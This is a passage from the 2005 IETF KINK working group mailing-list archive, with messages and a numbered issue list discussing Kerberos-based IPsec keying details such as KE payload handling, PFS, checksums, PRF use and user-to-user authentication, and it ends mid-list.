Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-7qXhYDFYQckVf55o6MYW Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Let me clarify my position: I think that a KINK implementation MUST deal properly with receiving a KE payload from a sender. I'm perfectly happy if the receiver somehow rejects the KE payload and proceeds from there (either by sending an error, or not performing the DH and not returning its KE payload).=20 I believe this gives you what you're asking for: the ability to not have to run the big number arithmetic... But even if we required implementation (and I'm not recommending this), nobody says that the DH arithmetic has to be _fast_ :) Mike On Tue, 2005-02-08 at 21:01, KAMADA Ken'ichi wrote: > At Fri, 04 Feb 2005 06:45:33 -0800, > Michael Thomas wrote: > >=20 > > I haven't looked it up in the draft, but my feeling is > > that the Receiver MUST implement KE payloads, though > > I suppose that it may be administratively rejected with > > an error message if it doesn't want to participate.=20 >=20 > I feel that MUST is too strong. > It makes a comformant implementation impossible on small devices > without hardware MODP (or something) accelerator. >=20 >=20 > > IKEv1 doesn't define it because it always expects that > > the initial DH is performed; KINK doesn't require this > > since there's already a shared key in the ticket. >=20 > Do you mean that KINK doesn't require KE payloads? > (Sorry if this is my misunderstanding.) >=20 > Sakane-san's point (as far as I can read) is that > if KINK allows using KE payloads, the following 3 issues > should be considered. I think only the 3rd item needs additional > text to the KINK spec. >=20 > - Which error code is returned when the responder doesn't support KE, > if we go with IKEv1. > (I think INVALID-PAYLOAD-TYPE is enough.) >=20 > - KINK (nor IKEv1) doesn't negotiate DH group, > so the operators must agree the group in advance. > (I don't know whether KINK spec needs to describe this though.) >=20 > - KINK initiators usually set inbound SAs before CREATE command, > but it's not possible when using KE payloads. >=20 >=20 > > On Fri, 2005-02-04 at 04:35, Shoichi Sakane wrote: > > > > #23 [*] KE interoperability (section 6.8) > > > >=20 > > > > What happens if a peer that implements the KE payloads communicate= s > > > > with a peer that does not. Specify the behavior in sufficient det= ail > > > > to guarantee interoperability. (Sam Hartman) > > >=20 > > > my understanding is correct, there is no description in the IKEv1 > > > specifications though it defines the error code which can be used > > > in this case. IKEv2 defines clearly. so if KINK specification > > > complies to IKEv1 manner, we have to define the behavior and describe > > > it for interoperability. if KINK complies to IKEv2 manner, we can > > > probably leave it. > > >=20 > > > another problem comes up. there is no way to negotiate a DH group > > > to use in a quick mode. so in IKEv1, they have to define the DH grou= p > > > before they negotiate. current KINK specification does not touch it. > > > this is no matter in IKEv2. > > >=20 > > > and an initiator can not install the inbound SA when the initiator > > > choices to send KE because KEYMAT is not calculated before the initia= tor > > > receives KE from the responder. the document has to touch this situa= tion. --=-7qXhYDFYQckVf55o6MYW Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgo9m7MsDAj/Eq++AQK7ZgQAtpI4FwZC9ymErUe/68W9KkvC68p9WGzR xxj088MrHYEIrardMaWyTtlBRApPI7u43gwKqWTgaPP+3q8r4RuuZfajUw2Vq7dV TvYUu7bt5iNJ/HETrvkUi7ZVxFv42lmdsQX7sWD0tFrNqiLL3uoW72XdUBxVCtRP 3HCK0Y5yvF4= =yAqX -----END PGP SIGNATURE----- --=-7qXhYDFYQckVf55o6MYW-- From owner-ietf-kink Wed Feb 9 18:23:01 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A2N1LY078918; Wed, 9 Feb 2005 18:23:01 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1A2N1oW078917; Wed, 9 Feb 2005 18:23:01 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-THREE-NINETY-EIGHT.MIT.EDU [18.187.6.143]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A2N01N078911 for ; Wed, 9 Feb 2005 18:23:00 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 10825E0063; Wed, 9 Feb 2005 21:23:05 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: #22 References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> <1107899336.25726.120.camel@thunk> <20050209131043XY%kamada@nanohz.org> From: Sam Hartman Date: Wed, 09 Feb 2005 21:23:05 -0500 In-Reply-To: <20050209131043XY%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Wed, 09 Feb 2005 13:10:43 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: As I understand it, currently Kink provides PFS as an optional feature. That seems fine to me. Not providing PFS also seems fine if the WG wants to go that route. I was just trying to understand what the text meant. --Sam From owner-ietf-kink Wed Feb 9 22:42:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A6gmLL008107; Wed, 9 Feb 2005 22:42:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1A6gmdb008106; Wed, 9 Feb 2005 22:42:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A6glIw007921 for ; Wed, 9 Feb 2005 22:42:47 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 25B725 for ; Thu, 10 Feb 2005 15:42:30 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1WDKg1; Thu, 10 Feb 2005 15:42:30 +0900 (JST) Date: Thu, 10 Feb 2005 15:43:48 +0900 Message-ID: <20050210154348XQ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: #16 [*] EPOCH (section 5.1.2) User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > #16 [*] EPOCH (section 5.1.2) > > Perhaps you need a description of the time stamp? I recall there > being such a description in draft-housley-binarytime-xx. > (Sam Hartman) The current draft specifies it as "the standard posix four octet time stamp". Is describing in KINK preferred to referring POSIX? FWIW, the EPOCH field is only used for DPD and the format of it is not important, as far as the same value is not reused within a short period. -- KAMADA Ken'ichi From owner-ietf-kink Wed Feb 9 22:46:12 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A6kBtk010496; Wed, 9 Feb 2005 22:46:11 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1A6kBYZ010495; Wed, 9 Feb 2005 22:46:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A6kBWh010479 for ; Wed, 9 Feb 2005 22:46:11 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 9382A5 for ; Thu, 10 Feb 2005 15:46:10 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1p94Uq; Thu, 10 Feb 2005 15:46:10 +0900 (JST) Date: Thu, 10 Feb 2005 15:47:28 +0900 Message-ID: <20050210154728XJ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: <1107967387.4948.14.camel@thomasm-lnx.cisco.com> References: <20050204213547M.sakane@kame.net> <1107528333.8249.33.camel@thomasm-lnx.cisco.com> <20050209140139XE%kamada@nanohz.org> <1107967387.4948.14.camel@thomasm-lnx.cisco.com> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Wed, 09 Feb 2005 08:43:07 -0800, Michael Thomas wrote: > > Let me clarify my position: I think that a KINK implementation > MUST deal properly with receiving a KE payload from a sender. > I'm perfectly happy if the receiver somehow rejects the KE > payload and proceeds from there (either by sending an error, > or not performing the DH and not returning its KE payload). I understand, thank you. If "rejecting" is allowed, I'm happy with it. Regarding how to reject, I like the idea of the absense of KE. > I believe this gives you what you're asking for: the ability > to not have to run the big number arithmetic... But even > if we required implementation (and I'm not recommending this), > nobody says that the DH arithmetic has to be _fast_ :) Indeed. :-D -- KAMADA Ken'ichi From owner-ietf-kink Wed Feb 9 23:13:26 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A7DQ5W021420; Wed, 9 Feb 2005 23:13:26 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1A7DQK1021419; Wed, 9 Feb 2005 23:13:26 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A7DPG8021408 for ; Wed, 9 Feb 2005 23:13:25 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id F0FFF5 for ; Thu, 10 Feb 2005 16:13:24 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0Lc2lR; Thu, 10 Feb 2005 16:13:25 +0900 (JST) Date: Thu, 10 Feb 2005 16:14:43 +0900 Message-ID: <20050210161443XN%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: #25 [**] prf (section 8) User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 28 Jan 2005 21:19:39 -0500 (EST), Sam Hartman wrote: > > Section 6.1: > > o IKE Quick Mode (phase 2) uses the hash algorithm used in main > mode (phase 1) to generate the keying material. KINK MUST use > the hashing algorithm specified in the session ticket's etype. > > [**] This checksum may not be deterministic and is probably not > appropriate for use in setting up a key. A PRF is provided, although > depending on how the hash is used the PRF may or may not be a suitable > replacement. There has been significant discussion within krb-wg on > when the PRF is appropriate and when it is not. This discussion > centered around key determination in pkinit. IKE requires the very PRF to generate IPsec keys, so using PRFs provided by kcrypto is appropriate here. kcrypto also says "The PRF output string should be suitable for use in key generation,..." Does anyone object to using the kcrypto PRF? -- KAMADA Ken'ichi From owner-ietf-kink Thu Feb 10 00:40:10 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A8eAx5055640; Thu, 10 Feb 2005 00:40:10 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1A8eATD055639; Thu, 10 Feb 2005 00:40:10 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1A8e9uc055500 for ; Thu, 10 Feb 2005 00:40:09 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id D11215 for ; Thu, 10 Feb 2005 17:39:51 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4jDLfe; Thu, 10 Feb 2005 17:39:51 +0900 (JST) Date: Thu, 10 Feb 2005 17:41:10 +0900 Message-ID: <20050210174110XW%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list rev.4 User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: not yet analyzed: 3 open: 17 solution proposed: 12 waiting revised i-d: 7 closed: 2 --------------------------- total: 41 [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. (2401bis) Indicates it depends on 2401 vs 2401bis. #1 [**] Versioning (solution proposed) what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? (Sam Hartman) QM version is discussed in section 12 (Forward Compatibility Considerations). Proposed solution: - KINK version return error KINK_INVMAJ when major version mismatch. WRT minor version, a) remove the minor version, or b) return KINK_INVMIN when mismatch (both lower and higher) - QM versoin already specified in section 12. - KINK payload type return error (KINK_PROTOERR) - ISAKMP payload type return error (ISAKMP INVALID-PAYLOAD-TYPE) (describe each Notify type usage like ikev2 spec.) Specify the behavior when the error is not authenticated in the Security Consideration section. Related thread: Message-Id: <20050202105420R.sakane@kame.net> #2 [**] U2U (not yet analyzed) I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. (Sam Hartman) #3 [**] user-to-user (section 3, 4.2, and 5.1.2) (not yet analyzed) It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) (Ken Raeburn) Verifying remotely supplied identity, as Sam raised earlier. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) Section 4.2: [**] How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) [**] Make sure the descriptions of u2u work correctly in the cross-realm case. (Sam Hartman) Section 5.1.2: [**] How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? (Sam Hartman) #4 [**](2401bis) CREATE command from the aspect of 2401bis (section 4.3) (closed) I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. Closed: being discussed with #37 #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) - What keys are used for the resulting SA on the each side? (Sam Hartman, Message-ID: ) Answer: Message-ID: <20050204170451BM%kamada@nanohz.org> - Doesn't the timing when to add in/out SAs conflict with IKE? (Sam Hartman, Message-ID: ) Related thread: Message-ID: <20050204170454BO%kamada@nanohz.org> - How about when to add SAs and which SAs to add when 3-way. (Message-ID: <20050204170454BO%kamada@nanohz.org>) #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) (solution proposed) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) They are talking the same situation and the requirement levels should be aligned. I think SHOULD is appropriate because non-returning responder's nonce does not break interoperabilities. (Message-ID: <20050127171441FF%kamada@nanohz.org>) If the initiator receives a responder's nonce, she MUST use it in the KEYMAT calculation. I think it is also editorial issue. anyway, the behavior depends on condition. if a responder does not agree with the initiator's proposal, AND if the responder wants to continue the transaction, then the responder MUST send back a message with ACK request bit, and MAY contain a nonce. There is a case when the responder wants to use same KEYMAT of the initiator, but just doesn't want to use the initiator's proposal. It is not always required to add a nonce. (Message-Id: <20050204200406K.sakane@kame.net>) #6 [*] Half open (section 4.4) (solution proposed) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) Proposed solution: remove the phrase "for simplicity". (Message-ID: ) #7 [**] DPD & STATUS (section 4.4.2 and 4.5) [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. (Sam Hartman) I don't understand what you want here. Are you saying that this doesn't work in the u-u case? I don't understand what u-u has to do with anything here. (Michael Thomas) OK. I was unclear . When sending a status message, what happens if the peer has gotten a new TGT? How do I realize I need to use this TGT rather than the one I have? (Sam Hartman) #8 [*] CksumLen (section 5) (solution proposed) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. Clarify that you mean the padding discussed in 5.1 (KINK Padding Rules), not crypto-system padding. (Sam Hartman) Use 2 octets for CksumLen field in accordance with kcrypto. See also: #9 #9 [**] etype does not directly indicate checksum type (section 5) (solution proposed) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) Proposed solutions are: - Use required-to-implement checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. - Move the Cksum field to the end of the message. (maybe without padding between the last payload and checksum?) (Message-ID: <20050131093509FD%kamada@nanohz.org>) #10 [**] Kerberos allows variable length checksum (section 5) (solution proposed) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) Proposed solution: look at #9 #11 [*] Kerberos checksum is not deterministic (section 5) (solution proposed) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) Proposed solution: look at #9 #12 [**] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. (Sam Hartman) Related thread: Message-ID: <20050127171703FZ%kamada@nanohz.org> #13 [**] Replay protection (section 5) (closed) The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? (Sam Hartman) Closed: (Message-ID: ) #14 [-] Reserved (15 bits) -- Reserved and must be zero (section 5) (waiting revised i-d) must be zero on send, must be ignored by receiver. #15 [**] Principal name of KINK service (section 5.1.2) How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. I interpreted the text as a naming convention, not how a implementation get a peer's principal name. So I think it is an implementation issue whether a principal name is generated from a FQDN or got directly from the PAD. (KAMADA Ken'ichi, <20050131095154FY%kamada@nanohz.org>) #16 [*] EPOCH (section 5.1.2) Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. (Sam Hartman) Related thread: Message-ID: <20050210154348XQ%kamada@nanohz.org> #17 [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) (solution proposed) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). Remove following paragraph from section 5.1.4. (Sam Hartman) KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. Replace the above paragraph with the following: (kamada) KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available. Drop reference to krb-error checksum from section 7.1. (Sam Hartman) defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. #18 [**] Kerberos error type limitations (section 5.1.4) Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. (Sam Hartman) Related thread: Message-Id: <20050204202941G.sakane@kame.net> #19 [**] Cross-realm and U2U (section 5.1.5) (not yet analyzed) Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. (Sam Hartman) #20 [**] KINK_ENCRYPT format (section 5.1.8) (solution proposed) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. (Sam Hartman) Related thread: Message-Id: <20050204205737C.sakane@kame.net> Proposed solution: Use the output of the kcrypto encryption. #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) (solution proposed) Text should probably indacte that next payload must be none. Proposed solution: The section 5.1 describes it, however it would be better to describe explicitly so. reader does not has trouble even if the text is described repeatedly. (Message-Id: <20050204210401T.sakane@kame.net>) #22 [*] Kerberos PFS (section 6.8) (solution proposed) Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) Related thread: Message-Id: <20050204211105O.sakane@kame.net> - (Current) Kerberos doesn't provide PFS. - KINK optionally provides PFS. - KINK PFS has benefits but is not mandatory because of the computational cost. so editorial fix (or even removing this sentence) would be enough. #23 [*] KE interoperability (section 6.8) What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. (Sam Hartman) Releated thread: Message-Id: <20050204213547M.sakane@kame.net> #24 [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) Related thread: Message-ID: <4202FB85.6080406@miyazawa.org> #25 [**] prf (section 8) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) Section 6.1 (the description of hash algorithm): This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. (Sam Hartman) Message-ID: <20050210161443XN%kamada@nanohz.org> #26 [*] Key derivation (section 8) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) I don't understand what this section says well enough to determine whether it works with kcrypto. (Sam Hartman) #27 [*](2401bis) SPD Considerations (section 10.1) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) Related thread: Message-ID: <420865DD.1040507@miyazawa.org> #28 [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) You can assign the numbers out of the space reserved for applications if principals used for kink will not be used for other purposes. If principals used for kink will be used for other purposes it is probably desirable to talk to Tom Yu and get a key usage number added to 1510ter. You'll also want to add the same key usage number to Kink to avoid a normative reference to 1510ter. (Sam Hartman, Message-ID: ) #29 [*](2401bis) Rekeying (section 4.4.1) section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc). (Sam Hartman) #30 [*](2401bis) IKEv2 Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. #31 [*] behavior on KINK_ERROR In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. when does the responder generate these errors? #32 [-] I-D nits (waiting revised i-d) Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) #33 [-] IANA considerations (section 11) I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. (Sam Hartman) #38 [-] Terminology (waiting revised i-d) Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) #40 [-] Wording (waiting revised i-d) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) #41 [-] Wording in section 3, Protocol Overview Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) #42 [-] Wording (waiting revised i-d) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) #43 [-] Wording (waiting revised i-d) Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) #35 [-] References (solution proposed) The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) Section 5: DOI Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. #36 [-] Typos (waiting revised i-d) 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1 KINK Payloads In the first item, the length of the Next Payload should be one octet instead of two. 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, 